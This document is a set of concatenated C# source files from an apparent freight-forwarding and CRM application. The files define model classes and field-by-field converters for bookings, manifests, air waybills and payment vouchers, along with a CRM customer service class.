Payment.BillNumber = Model1.BillNumber;
}
public static void ConvertRequestPayment(RequestPayment Model1, RequestPaymentModel Payment)
{
Payment.ShipmentId = Model1.ShipmentId;
Payment.ShipmentCode = Model1.ShipmentCode;
Payment.DepartmentName = Model1.DepartmentName;
Payment.PaidPerson = Model1.PaidPerson;
Payment.PaidType = Model1.PaidType;
Payment.PaidDate = Model1.PaidDate;
Payment.Total2Currency = Model1.Total2Currency;
Payment.Total1Currency = Model1.Total1Currency;
Payment.DocFeeCurrency = Model1.DocFeeCurrency;
Payment.FeeCurrency = Model1.FeeCurrency;
Payment.Total2 = Model1.Total2;
Payment.Total1 = Model1.Total1;
Payment.DocFee = Model1.DocFee;
Payment.Fee = Model1.Fee;
Payment.CarrierName = Model1.CarrierName;
Payment.CustomerName = Model1.CustomerName;
Payment.BillNumber = Model1.BillNumber;
Payment.Id = Model1.Id;
}
}
public class BookingRequestModel {
public string ShipperName { get; set; }
public string CneeName { get; set; }
public string PlaceDelivery { get; set; }
public System.Nullable<int> MainContract { get; set; }
public System.Nullable<int> SubContract { get; set; }
public System.Nullable<int> MainInvoice { get; set; }
public System.Nullable<int> SubInvoice { get; set; }
public System.Nullable<int> MainPL { get; set; }
public System.Nullable<int> SubPL { get; set; }
public System.Nullable<int> MainBL { get; set; }
public System.Nullable<int> SubBL { get; set; }
public System.Nullable<int> MainExtend1 { get; set; }
public System.Nullable<int> MainExtend2 { get; set; }
public System.Nullable<int> SubExtend1 { get; set; }
public System.Nullable<int> SubExtend2 { get; set; }
public string Commodity1 { get; set; }
public string Commodity2 { get; set; }
public string Commodity3 { get; set; }
public string Commodity4 { get; set; }
public string Commodity5 { get; set; }
public string Commodity6 { get; set; }
public string Commodity7 { get; set; }
public string Commodity8 { get; set; }
public string Commodity9 { get; set; }
public string Commodity10 { get; set; }
public string HSCode1 { get; set; }
public string HSCode2 { get; set; }
public string HSCode3 { get; set; }
public string HSCode4 { get; set; }
public string HSCode5 { get; set; }
public string HSCode6 { get; set; }
public string HSCode7 { get; set; }
public string HSCode8 { get; set; }
public string HSCode9 { get; set; }
public string HSCode10 { get; set; }
public string FreightFee { get; set; }
public string DocFee { get; set; }
public string CFSFee { get; set; }
public string THCFee { get; set; }
public string Tax { get; set; }
public string OtherFee { get; set; }
public string TotalFee { get; set; }
public long Id { get; set; }
public long ShipmentId { get; set; }
public string PortFrom { get; set; }
public string PortTo { get; set; }
public static void ConvertBookingRequest(BookingRequestModel Model1, BookingRequest Request1) {
Request1.ShipperName=Model1.ShipperName;
Request1.CneeName=Model1.CneeName;
Request1.PlaceDelivery=Model1.PlaceDelivery;
Request1.MainContract=Model1.MainContract;
Request1.SubContract=Model1.SubContract;
Request1.MainInvoice=Model1.MainInvoice;
Request1.SubInvoice=Model1.SubInvoice;
Request1.MainPL=Model1.MainPL;
Request1.SubPL = Model1.SubPL;
Request1.MainBL = Model1.MainBL;
Request1.SubBL = Model1.SubBL;
Request1.MainExtend1 = Model1.MainExtend1;
Request1.MainExtend2 = Model1.MainExtend2;
Request1.SubExtend1 = Model1.SubExtend1;
Request1.SubExtend2=Model1.SubExtend2;
Request1.Commodity1=Model1.Commodity1;
Request1.Commodity2=Model1.Commodity2;
Request1.Commodity3=Model1.Commodity3;
Request1.Commodity4=Model1.Commodity4;
Request1.Commodity5=Model1.Commodity5;
Request1.Commodity6=Model1.Commodity6;
Request1.Commodity7=Model1.Commodity7;
Request1.Commodity8=Model1.Commodity8;
Request1.Commodity9=Model1.Commodity9;
Request1.Commodity10=Model1.Commodity10;
Request1.HSCode1 = Model1.HSCode1;
Request1.HSCode2 = Model1.HSCode2;
Request1.HSCode3 = Model1.HSCode3;
Request1.HSCode4 = Model1.HSCode4;
Request1.HSCode5 = Model1.HSCode5;
Request1.HSCode6 = Model1.HSCode6;
Request1.HSCode7 = Model1.HSCode7;
Request1.HSCode8 = Model1.HSCode8;
Request1.HSCode9 = Model1.HSCode9;
Request1.HSCode10 = Model1.HSCode10;
Request1.FreightFee=Model1.FreightFee;
Request1.DocFee=Model1.DocFee;
Request1.CFSFee=Model1.CFSFee;
Request1.THCFee = Model1.THCFee;
Request1.Tax=Model1.Tax;
Request1.OtherFee=Model1.OtherFee;
Request1.TotalFee=Model1.TotalFee;
Request1.Id=Model1.Id;
Request1.ShipmentId=Model1.ShipmentId;
Request1.PortFrom = Model1.PortFrom;
Request1.PortTo = Model1.PortTo;
}
public static void ConvertBookingRequest( BookingRequest Model1, BookingRequestModel Request1)
{
Request1.ShipperName = Model1.ShipperName;
Request1.CneeName = Model1.CneeName;
Request1.PlaceDelivery = Model1.PlaceDelivery;
Request1.MainContract = Model1.MainContract;
Request1.SubContract = Model1.SubContract;
Request1.MainInvoice = Model1.MainInvoice;
Request1.SubInvoice = Model1.SubInvoice;
Request1.MainPL = Model1.MainPL;
Request1.SubPL = Model1.SubPL;
Request1.MainBL = Model1.MainBL;
Request1.SubBL = Model1.SubBL;
Request1.MainExtend1 = Model1.MainExtend1;
Request1.MainExtend2 = Model1.MainExtend2;
Request1.SubExtend1 = Model1.SubExtend1;
Request1.SubExtend2 = Model1.SubExtend2;
Request1.Commodity1 = Model1.Commodity1;
Request1.Commodity2 = Model1.Commodity2;
Request1.Commodity3 = Model1.Commodity3;
Request1.Commodity4 = Model1.Commodity4;
Request1.Commodity5 = Model1.Commodity5;
Request1.Commodity6 = Model1.Commodity6;
Request1.Commodity7 = Model1.Commodity7;
Request1.Commodity8 = Model1.Commodity8;
Request1.Commodity9 = Model1.Commodity9;
Request1.Commodity10 = Model1.Commodity10;
Request1.HSCode1 = Model1.HSCode1;
Request1.HSCode2 = Model1.HSCode2;
Request1.HSCode3 = Model1.HSCode3;
Request1.HSCode4 = Model1.HSCode4;
Request1.HSCode5 = Model1.HSCode5;
Request1.HSCode6 = Model1.HSCode6;
Request1.HSCode7 = Model1.HSCode7;
Request1.HSCode8 = Model1.HSCode8;
Request1.HSCode9 = Model1.HSCode9;
Request1.HSCode10 = Model1.HSCode10;
Request1.FreightFee = Model1.FreightFee;
Request1.DocFee = Model1.DocFee;
Request1.CFSFee = Model1.CFSFee;
Request1.THCFee = Model1.THCFee;
Request1.Tax = Model1.Tax;
Request1.OtherFee = Model1.OtherFee;
Request1.TotalFee = Model1.TotalFee;
Request1.Id = Model1.Id;
Request1.ShipmentId = Model1.ShipmentId;
Request1.PortFrom = Model1.PortFrom;
Request1.PortTo = Model1.PortTo;
}
}
public class ManifestModel {
public long Id{get;set;}
public long ShipmentId{get;set;}
public string MAWBNo{get;set;}
public string FLTNo{get;set;}
public string CONSIGNEDTO{get;set;}
public string DEPARTURE{get;set;}
public string DATE{get;set;}
public string ESTINATION{get;set;}
public string ORDNo{get;set;}
public string HAWBNo{get;set;}
public string NoOfPcs{get;set;}
public string GWEIGHT{get;set;}
public string DESCRIPTIONOFGOODS{get;set;}
public string SHIPPER{get;set;}
public string CONSIGNEE{get;set;}
public string CHARGECODE{get;set;}
public static void convertManifest(Manifest Manifest1, ManifestModel Model1)
{
Model1.Id = Manifest1.Id;
Model1.ShipmentId = Manifest1.ShipmentId;
Model1.MAWBNo = Manifest1.MAWBNo;
Model1.FLTNo = Manifest1.FLTNo;
Model1.CONSIGNEDTO = Manifest1.CONSIGNEDTO;
Model1.DEPARTURE = Manifest1.DEPARTURE;
Model1.DATE = Manifest1.DATE;
Model1.ESTINATION = Manifest1.ESTINATION;
Model1.ORDNo = Manifest1.ORDNo;
Model1.HAWBNo = Manifest1.HAWBNo;
Model1.NoOfPcs = Manifest1.NoOfPcs;
Model1.GWEIGHT = Manifest1.GWEIGHT;
Model1.DESCRIPTIONOFGOODS = Manifest1.DESCRIPTIONOFGOODS;
Model1.SHIPPER = Manifest1.SHIPPER;
Model1.CONSIGNEE = Manifest1.CONSIGNEE;
Model1.CHARGECODE = Manifest1.CHARGECODE;
}
public static void convertManifest(ManifestModel Manifest1, Manifest Model1)
{
Model1.Id = Manifest1.Id;
Model1.ShipmentId = Manifest1.ShipmentId;
Model1.MAWBNo = Manifest1.MAWBNo;
Model1.FLTNo = Manifest1.FLTNo;
Model1.CONSIGNEDTO = Manifest1.CONSIGNEDTO;
Model1.DEPARTURE = Manifest1.DEPARTURE;
Model1.DATE = Manifest1.DATE;
Model1.ESTINATION = Manifest1.ESTINATION;
Model1.ORDNo = Manifest1.ORDNo;
Model1.HAWBNo = Manifest1.HAWBNo;
Model1.NoOfPcs = Manifest1.NoOfPcs;
Model1.GWEIGHT = Manifest1.GWEIGHT;
Model1.DESCRIPTIONOFGOODS = Manifest1.DESCRIPTIONOFGOODS;
Model1.SHIPPER = Manifest1.SHIPPER;
Model1.CONSIGNEE = Manifest1.CONSIGNEE;
Model1.CHARGECODE = Manifest1.CHARGECODE;
}
}
public class TransitmentAdvisedModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string AdvisedTo { get; set; }
public string AdvisedATTN { get; set; }
public string AdvisedBL { get; set; }
public string Grossweight { get; set; }
public string Measurement { get; set; }
public string Vessel { get; set; }
public string Portofloading { get; set; }
public string ETD { get; set; }
public string ETA { get; set; }
public string Portofdischarge { get; set; }
public string CustomerServices { get; set; }
public string AdvisedTime { get; set; }
public bool StatusOk { get; set; }
public bool StatusReport { get; set; }
public bool StatusNoReport { get; set; }
public bool MachineNoReport { get; set; }
public string ChargeFreight { get; set; }
public string ChargeBill { get; set; }
public string ChargeTHC { get; set; }
public string ChargeAMS { get; set; }
public string ChargeVAT { get; set; }
public static void convertTransitment(TransitmentAdvised Advised1, TransitmentAdvisedModel Model1)
{
Model1.Id = Advised1.Id;
Model1.ShipmentId = Advised1.ShipmentId;
Model1.AdvisedTo = Advised1.AdvisedTo;
Model1.AdvisedATTN = Advised1.AdvisedATTN;
Model1.AdvisedBL = Advised1.AdvisedBL;
Model1.Grossweight = Advised1.Grossweight;
Model1.Measurement = Advised1.Measurement;
Model1.Vessel = Advised1.Vessel;
Model1.Portofloading = Advised1.Portofloading;
Model1.ETD = Advised1.ETD;
Model1.ETA = Advised1.ETA;
Model1.Portofdischarge = Advised1.Portofdischarge;
Model1.CustomerServices = Advised1.CustomerServices;
Model1.AdvisedTime = Advised1.AdvisedTime;
Model1.StatusOk = Advised1.StatusOk;
Model1.StatusReport = Advised1.StatusReport;
Model1.StatusNoReport = Advised1.StatusNoReport;
Model1.MachineNoReport = Advised1.MachineNoReport;
Model1.ChargeFreight = Advised1.ChargeFreight;
Model1.ChargeBill = Advised1.ChargeBill;
Model1.ChargeTHC = Advised1.ChargeTHC;
Model1.ChargeAMS = Advised1.ChargeAMS;
Model1.ChargeVAT = Advised1.ChargeVAT;
}
public static void convertTransitment(TransitmentAdvisedModel Advised1, TransitmentAdvised Model1)
{
Model1.Id = Advised1.Id;
Model1.ShipmentId = Advised1.ShipmentId;
Model1.AdvisedTo = Advised1.AdvisedTo;
Model1.AdvisedATTN = Advised1.AdvisedATTN;
Model1.AdvisedBL = Advised1.AdvisedBL;
Model1.Grossweight = Advised1.Grossweight;
Model1.Measurement = Advised1.Measurement;
Model1.Vessel = Advised1.Vessel;
Model1.Portofloading = Advised1.Portofloading;
Model1.ETD = Advised1.ETD;
Model1.ETA = Advised1.ETA;
Model1.Portofdischarge = Advised1.Portofdischarge;
Model1.CustomerServices = Advised1.CustomerServices;
Model1.AdvisedTime = Advised1.AdvisedTime;
Model1.StatusOk = Advised1.StatusOk;
Model1.StatusReport = Advised1.StatusReport;
Model1.StatusNoReport = Advised1.StatusNoReport;
Model1.MachineNoReport = Advised1.MachineNoReport;
Model1.ChargeFreight = Advised1.ChargeFreight;
Model1.ChargeBill = Advised1.ChargeBill;
Model1.ChargeTHC = Advised1.ChargeTHC;
Model1.ChargeAMS = Advised1.ChargeAMS;
Model1.ChargeVAT = Advised1.ChargeVAT;
}
}
public class HouseAirWayBillModel{
public long Id { get; set; }
public long ShipmentId { get; set; }
public String IssueBy { get; set; }
public String ShipperAccount { get; set; }
public String ShipperName { get; set; }
public String CneeAccount { get; set; }
public String CneeName { get; set; }
public String AccountingInformation { get; set; }
public String Issuing { get; set; }
public String AgenIATACode { get; set; }
public String AccountNo { get; set; }
public String AirportofDeparture { get; set; }
public String IssueTo { get; set; }
public String ByfirstCarrier { get; set; }
public String IssueTo2 { get; set; }
public String IssueTo3 { get; set; }
public String IssueBy2 { get; set; }
public String IssueBy3 { get; set; }
public String IssueCurrency { get; set; }
public String IssueCHGSCode { get; set; }
public String IssuePPD { get; set; }
public String IssueCOLL { get; set; }
public String IssuePPD2 { get; set; }
public String IssueCOLL2 { get; set; }
public String CarriageValue { get; set; }
public String CustomsValue { get; set; }
public String AirportofDestination { get; set; }
public String Flight { get; set; }
public String Date { get; set; }
public String AmountofInsurance { get; set; }
public String HandlingInformation { get; set; }
public String NofPieces { get; set; }
public String NofPieces2 { get; set; }
public String GrossWeight { get; set; }
public String GrossWeight2 { get; set; }
public String Kglb { get; set; }
public String RateClass { get; set; }
public String CommodityItemNo { get; set; }
public String ChargeableWeight { get; set; }
public String RateCharge { get; set; }
public String Total { get; set; }
public String Total2 { get; set; }
public String QuantityofGoods { get; set; }
public String WeightPrepaid { get; set; }
public String WeightCollect { get; set; }
public String ValuationPrepaid { get; set; }
public String ValuationCollect { get; set; }
public String TaxPrepaid { get; set; }
public String TaxCollect { get; set; }
public String AgentPrepaid { get; set; }
public String AgentCollect { get; set; }
public String CarrierPrepaid { get; set; }
public String CarrierCollect { get; set; }
public String TotalPrepaid { get; set; }
public String TotalCollect { get; set; }
public String CurrencyConversion { get; set; }
public String CCChargesinDest { get; set; }
public String ChargesatDestination { get; set; }
public String OtherCharges { get; set; }
public String OtherCharges1 { get; set; }
public String OtherCharges2 { get; set; }
public String SignatureShippe { get; set; }
public String Executedon { get; set; }
public String Executedat { get; set; }
public String TotalCollectCharges { get; set; }
public String MasterAWB { get; set; }
public String HouseAWB { get; set; }
public static void convertHAirWayBill(HouseAirWayBillModel Model1, HAirWayBill HAirWayBill1)
{
HAirWayBill1.Id = Model1.Id;
HAirWayBill1.ShipmentId= Model1.ShipmentId;
HAirWayBill1.IssueBy= Model1.IssueBy;
HAirWayBill1.ShipperAccount= Model1.ShipperAccount;
HAirWayBill1.ShipperName= Model1.ShipperName;
HAirWayBill1.CneeAccount= Model1.CneeAccount;
HAirWayBill1.CneeName= Model1.CneeName;
HAirWayBill1.AccountingInformation= Model1.AccountingInformation;
HAirWayBill1.Issuing= Model1.Issuing;
HAirWayBill1.AgenIATACode= Model1.AgenIATACode;
HAirWayBill1.AccountNo= Model1.AccountNo;
HAirWayBill1.AirportofDeparture= Model1.AirportofDeparture;
HAirWayBill1.IssueTo= Model1.IssueTo;
HAirWayBill1.ByfirstCarrier= Model1.ByfirstCarrier;
HAirWayBill1.IssueTo2= Model1.IssueTo2;
HAirWayBill1.IssueTo3= Model1.IssueTo3;
HAirWayBill1.IssueBy2= Model1.IssueBy2;
HAirWayBill1.IssueBy3= Model1.IssueBy3;
HAirWayBill1.IssueCurrency= Model1.IssueCurrency;
HAirWayBill1.IssueCHGSCode= Model1.IssueCHGSCode;
HAirWayBill1.IssuePPD= Model1.IssuePPD;
HAirWayBill1.IssueCOLL= Model1.IssueCOLL;
HAirWayBill1.IssuePPD2= Model1.IssuePPD2;
HAirWayBill1.IssueCOLL2= Model1.IssueCOLL2;
HAirWayBill1.CarriageValue= Model1.CarriageValue;
HAirWayBill1.CustomsValue= Model1.CustomsValue;
HAirWayBill1.AirportofDestination= Model1.AirportofDestination;
HAirWayBill1.Flight= Model1.Flight;
HAirWayBill1.Date= Model1.Date;
HAirWayBill1.AmountofInsurance= Model1.AmountofInsurance;
HAirWayBill1.HandlingInformation= Model1.HandlingInformation;
HAirWayBill1.NofPieces= Model1.NofPieces;
HAirWayBill1.NofPieces2= Model1.NofPieces2;
HAirWayBill1.GrossWeight= Model1.GrossWeight;
HAirWayBill1.GrossWeight2= Model1.GrossWeight2;
HAirWayBill1.Kglb= Model1.Kglb;
HAirWayBill1.RateClass= Model1.RateClass;
HAirWayBill1.CommodityItemNo= Model1.CommodityItemNo;
HAirWayBill1.ChargeableWeight= Model1.ChargeableWeight;
HAirWayBill1.RateCharge= Model1.RateCharge;
HAirWayBill1.Total= Model1.Total;
HAirWayBill1.Total2= Model1.Total2;
HAirWayBill1.QuantityofGoods= Model1.QuantityofGoods;
HAirWayBill1.WeightPrepaid= Model1.WeightPrepaid;
HAirWayBill1.WeightCollect= Model1.WeightCollect;
HAirWayBill1.ValuationPrepaid= Model1.ValuationPrepaid;
HAirWayBill1.ValuationCollect= Model1.ValuationCollect;
HAirWayBill1.TaxPrepaid= Model1.TaxPrepaid;
HAirWayBill1.TaxCollect= Model1.TaxCollect;
HAirWayBill1.AgentPrepaid= Model1.AgentPrepaid;
HAirWayBill1.AgentCollect= Model1.AgentCollect;
HAirWayBill1.CarrierPrepaid= Model1.CarrierPrepaid;
HAirWayBill1.CarrierCollect= Model1.CarrierCollect;
HAirWayBill1.CurrencyConversion = Model1.CurrencyConversion;
HAirWayBill1.CCChargesinDest= Model1.CCChargesinDest;
HAirWayBill1.ChargesatDestination= Model1.ChargesatDestination;
HAirWayBill1.OtherCharges= Model1.OtherCharges;
HAirWayBill1.OtherCharges1= Model1.OtherCharges1;
HAirWayBill1.OtherCharges2= Model1.OtherCharges2;
HAirWayBill1.SignatureShippe= Model1.SignatureShippe;
HAirWayBill1.Executedon= Model1.Executedon;
HAirWayBill1.Executedat= Model1.Executedat;
HAirWayBill1.TotalCollectCharges = Model1.TotalCollectCharges;
HAirWayBill1.TotalCollect = Model1.TotalCollect;
HAirWayBill1.AgentPrepaid = Model1.TotalPrepaid;
HAirWayBill1.MasterAWB = Model1.MasterAWB;
HAirWayBill1.HouseAWB = Model1.HouseAWB;
}
public static void convertHAirWayBill(HAirWayBill Model1, HouseAirWayBillModel HAirWayBill1)
{
HAirWayBill1.Id = Model1.Id;
HAirWayBill1.ShipmentId = Model1.ShipmentId;
HAirWayBill1.IssueBy = Model1.IssueBy;
HAirWayBill1.ShipperAccount = Model1.ShipperAccount;
HAirWayBill1.ShipperName = Model1.ShipperName;
HAirWayBill1.CneeAccount = Model1.CneeAccount;
HAirWayBill1.CneeName = Model1.CneeName;
HAirWayBill1.AccountingInformation = Model1.AccountingInformation;
HAirWayBill1.Issuing = Model1.Issuing;
HAirWayBill1.AgenIATACode = Model1.AgenIATACode;
HAirWayBill1.AccountNo = Model1.AccountNo;
HAirWayBill1.AirportofDeparture = Model1.AirportofDeparture;
HAirWayBill1.IssueTo = Model1.IssueTo;
HAirWayBill1.ByfirstCarrier = Model1.ByfirstCarrier;
HAirWayBill1.IssueTo2 = Model1.IssueTo2;
HAirWayBill1.IssueTo3 = Model1.IssueTo3;
HAirWayBill1.IssueBy2 = Model1.IssueBy2;
HAirWayBill1.IssueBy3 = Model1.IssueBy3;
HAirWayBill1.IssueCurrency = Model1.IssueCurrency;
HAirWayBill1.IssueCHGSCode = Model1.IssueCHGSCode;
HAirWayBill1.IssuePPD = Model1.IssuePPD;
HAirWayBill1.IssueCOLL = Model1.IssueCOLL;
HAirWayBill1.IssuePPD2 = Model1.IssuePPD2;
HAirWayBill1.IssueCOLL2 = Model1.IssueCOLL2;
HAirWayBill1.CarriageValue = Model1.CarriageValue;
HAirWayBill1.CustomsValue = Model1.CustomsValue;
HAirWayBill1.AirportofDestination = Model1.AirportofDestination;
HAirWayBill1.Flight = Model1.Flight;
HAirWayBill1.Date = Model1.Date;
HAirWayBill1.AmountofInsurance = Model1.AmountofInsurance;
HAirWayBill1.HandlingInformation = Model1.HandlingInformation;
HAirWayBill1.NofPieces = Model1.NofPieces;
HAirWayBill1.NofPieces2 = Model1.NofPieces2;
HAirWayBill1.GrossWeight = Model1.GrossWeight;
HAirWayBill1.GrossWeight2 = Model1.GrossWeight2;
HAirWayBill1.Kglb = Model1.Kglb;
HAirWayBill1.RateClass = Model1.RateClass;
HAirWayBill1.CommodityItemNo = Model1.CommodityItemNo;
HAirWayBill1.ChargeableWeight = Model1.ChargeableWeight;
HAirWayBill1.RateCharge = Model1.RateCharge;
HAirWayBill1.Total = Model1.Total;
HAirWayBill1.Total2 = Model1.Total2;
HAirWayBill1.QuantityofGoods = Model1.QuantityofGoods;
HAirWayBill1.WeightPrepaid = Model1.WeightPrepaid;
HAirWayBill1.WeightCollect = Model1.WeightCollect;
HAirWayBill1.ValuationPrepaid = Model1.ValuationPrepaid;
HAirWayBill1.ValuationCollect = Model1.ValuationCollect;
HAirWayBill1.TaxPrepaid = Model1.TaxPrepaid;
HAirWayBill1.TaxCollect = Model1.TaxCollect;
HAirWayBill1.AgentPrepaid = Model1.AgentPrepaid;
HAirWayBill1.AgentCollect = Model1.AgentCollect;
HAirWayBill1.CarrierPrepaid = Model1.CarrierPrepaid;
HAirWayBill1.CarrierCollect = Model1.CarrierCollect;
HAirWayBill1.CurrencyConversion = Model1.CurrencyConversion;
HAirWayBill1.CCChargesinDest = Model1.CCChargesinDest;
HAirWayBill1.ChargesatDestination = Model1.ChargesatDestination;
HAirWayBill1.OtherCharges = Model1.OtherCharges;
HAirWayBill1.OtherCharges1 = Model1.OtherCharges1;
HAirWayBill1.OtherCharges2 = Model1.OtherCharges2;
HAirWayBill1.SignatureShippe = Model1.SignatureShippe;
HAirWayBill1.Executedon = Model1.Executedon;
HAirWayBill1.Executedat = Model1.Executedat;
HAirWayBill1.TotalCollectCharges = Model1.TotalCollectCharges;
HAirWayBill1.TotalCollect = Model1.TotalCollect;
HAirWayBill1.AgentPrepaid = Model1.TotalPrepaid;
HAirWayBill1.MasterAWB = Model1.MasterAWB;
HAirWayBill1.HouseAWB = Model1.HouseAWB;
}
}
public class PaymentVocherModel {
public long Id { get; set; }
public long ShipmentId { get; set; }
public String PaidTo { get; set; }
public String IdentifyNo { get; set; }
public String BelongTo { get; set; }
public String Address1 { get; set; }
public String Address2 { get; set; }
public String ContentPayment { get; set; }
public String TotalAmountService { get; set; }
public String DeliveryDate { get; set; }
public String TotalAmount { get; set; }
public String TotalWords { get; set; }
public String CompanyName { get; set; }
public static void convertPaymentVoucher(PaymentVoucher PaymentVoucher1, PaymentVocherModel Model1) {
Model1.Id = PaymentVoucher1.Id;
Model1.ShipmentId = PaymentVoucher1.ShipmentId;
Model1.PaidTo = PaymentVoucher1.PaidTo;
Model1.IdentifyNo = PaymentVoucher1.IdentifyNo;
Model1.BelongTo = PaymentVoucher1.BelongTo;
Model1.Address1 = PaymentVoucher1.Address1;
Model1.Address2 = PaymentVoucher1.Address2;
Model1.ContentPayment = PaymentVoucher1.ContentPayment;
Model1.TotalAmountService = PaymentVoucher1.TotalAmountService;
Model1.DeliveryDate = PaymentVoucher1.DeliveryDate;
Model1.TotalAmount = PaymentVoucher1.TotalAmount;
Model1.TotalWords = PaymentVoucher1.TotalWords;
Model1.CompanyName = PaymentVoucher1.CompanyName;
}
public static void convertPaymentVoucher(PaymentVocherModel PaymentVoucher1, PaymentVoucher Model1)
{
Model1.Id = PaymentVoucher1.Id;
Model1.ShipmentId = PaymentVoucher1.ShipmentId;
Model1.PaidTo = PaymentVoucher1.PaidTo;
Model1.IdentifyNo = PaymentVoucher1.IdentifyNo;
Model1.BelongTo = PaymentVoucher1.BelongTo;
Model1.Address1 = PaymentVoucher1.Address1;
Model1.Address2 = PaymentVoucher1.Address2;
Model1.ContentPayment = PaymentVoucher1.ContentPayment;
Model1.TotalAmountService = PaymentVoucher1.TotalAmountService;
Model1.DeliveryDate = PaymentVoucher1.DeliveryDate;
Model1.TotalAmount = PaymentVoucher1.TotalAmount;
Model1.TotalWords = PaymentVoucher1.TotalWords;
Model1.CompanyName = PaymentVoucher1.CompanyName;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models.CRM
{
public enum PeriodDate
{
CreateDate,
ModifyDate
}
public class CRMCustomerModel
{
public long Id { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "Customer Name")]
public string CompanyName { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "Abb Name")]
public string CompanyShortName { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "Address")]
public string CrmAddress { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "Ctity/Province")]
public string StateName { get; set; }
public long? CrmCountryId { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "Country")]
public string CountryName { get; set; }
[Display(Name = "Phone")]
//[Required(ErrorMessage = "{0} không được để trống")]
public string CrmPhone { get; set; }
public string Description { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
public CustomerType CustomerType { get; set; }
public long? SsmCusId { get; set; }
public DateTime CreatedDate { get; set; }
public DateTime? ModifyDate { get; set; }
public DateTime? DateTime { get; set; }
public CRMDataType DataType { get; set; }
public List<CRMContactModel> CRMContacts { get; set; }
public List<CRMFollowCusUserModel> FollowCusUsers { get; set; }
public User CreatedBy { get; set; }
public long? MoveToId { get; set; }
public User ModifyBy { get; set; }
public SaleType SaleType { get; set; }
public CRMGroup CRMGroup { get; set; }
public CRMJobCategory CRMJobCategory { get; set; }
public CRMSource CRMSource { get; set; }
public CRMStatus CRMStatus { get; set; }
public Province Province { get; set; }
public string UserTogheTheFollow { get; set; }
public List<User> UsersFollow { get; set; }
public CRMStatusCode StatusCode { get; set; }
public bool IsUserDelete { get; set; }
public SummaryCustomer Summary { get; set; }
}
public class SummaryCustomer
{
public long Id { get; set; }
public int TotalDocument { get; set; }
public int TotalSendEmail { get; set; }
public int TotalFirstSendEmail { get; set; }
public int TotalVisitedSuccess { get; set; }
public int TotalVisited { get; set; }
public int TotalEvent { get; set; }
public int TotalShippments { get; set; }
public int SuccessFully { get; set; }
public decimal TotalProfit { get; set; }
public CRMStatusCode StatusCode { get; set; }
public DateTime CreatedDate { get; set; }
public DateTime? ModifyDate { get; set; }
}
public class CRMSearchModel
{
public PeriodDate PeriodDate { get; set; }
public DateTime? FromDate { get; set; }
public DateTime? ToDate { get; set; }
public string CompanyName { get; set; }
public long DeptId { get; set; }
public string UserFullName { get; set; }
public long SalesId { get; set; }
public CRMDataType DataType { get; set; }
public CRMJobCategory JobCategory { get; set; }
public CRMStatusCode CRMStatus { get; set; }
public CRMSource CRMSource { get; set; }
public CRMGroup CrmGroup { get; set; }
public SaleType SaleType { get; set; }
public Province Province{ get; set; }
public long? Id { get; set; }
public string Email { get; set; }
public string Phone { get; set; }
}
}<file_sep>using System;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMService : IServices<CRMCustomer>
{
long InsertToDb(CRMCustomerModel model);
bool UpdateToDb(CRMCustomerModel model);
bool DeleteToDb(CRMCustomerModel model);
void SetMoveCustomerToData(long id, bool isSet, long ssmId);
void SetStatus(long id, int statusId, CRMStatusCode code, bool isCancel = false);
}
public class CRMService : Services<CRMCustomer>, ICRMService
{
private CRMCustomer GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public long InsertToDb(CRMCustomerModel model)
{
try
{
var db = ToDbModel(model);
Insert(db);
var id = db.Id;
model.Id = id;
return id;
}
catch (NullReferenceException ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
catch (Exception ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
}
public bool UpdateToDb(CRMCustomerModel model)
{
try
{
var db = GetById(model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex.ToString());
throw ex;
}
}
public bool DeleteToDb(CRMCustomerModel model)
{
throw new System.NotImplementedException();
}
private CRMCustomer ToDbModel(CRMCustomerModel model)
{
var db = new CRMCustomer
{
CompanyName = model.CompanyName,
CompanyShortName = model.CompanyShortName,
CrmAddress = model.CrmAddress,
CrmPhone = model.CrmPhone,
CrmCategoryId = model.CRMJobCategory.Id,
CrmSourceId = model.CRMSource.Id,
CrmGroupId = model.CRMGroup.Id,
CrmProvinceId = model.Province.Id,
SaleTypeId = model.SaleType.Id,
CrmStatusId = model.CRMStatus.Id,
Description = model.Description,
CreatedById = model.CreatedBy.Id,
CreatedDate = DateTime.Now,
ModifyDate = DateTime.Now,
CrmDataType = (byte)model.DataType,
SsmCusId = model.SsmCusId,
CustomerType = (byte)model.CustomerType,
};
return db;
}
private void ConvertModel(CRMCustomerModel model, CRMCustomer db)
{
db.CompanyName = model.CompanyName;
db.CompanyShortName = model.CompanyShortName;
db.CrmAddress = model.CrmAddress;
db.CrmPhone = model.CrmPhone;
db.CrmCategoryId = model.CRMJobCategory.Id;
db.CrmSourceId = model.CRMSource.Id;
db.CrmGroupId = model.CRMGroup.Id;
db.CrmProvinceId = model.Province.Id;
db.SaleTypeId = model.SaleType.Id;
db.ModifyById = model.ModifyBy.Id;
db.ModifyDate = model.ModifyDate;
db.CrmStatusId = model.CRMStatus.Id;
db.Description = model.Description;
db.IsUserDelete = model.IsUserDelete;
if (model.MoveToId.HasValue && model.MoveToId.Value > 0)
db.CreatedById = model.MoveToId;
}
public void SetMoveCustomerToData(long id, bool isSet, long ssmId)
{
var db = GetById(id);
db.SsmCusId = isSet ? ssmId : (long?)null;
Commited();
}
public void SetStatus(long id, int statusId, CRMStatusCode code, bool isCancel = false)
{
var cus = GetById(id);
cus.CrmStatusId = statusId;
cus.DateCancel = isCancel ? DateTime.Now : cus.CreatedDate;
Commited();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper.Internal;
using Microsoft.Ajax.Utilities;
using SSM.Models;
namespace SSM.Services
{
public interface IPerformanceReportService : IServices<Shipment>
{
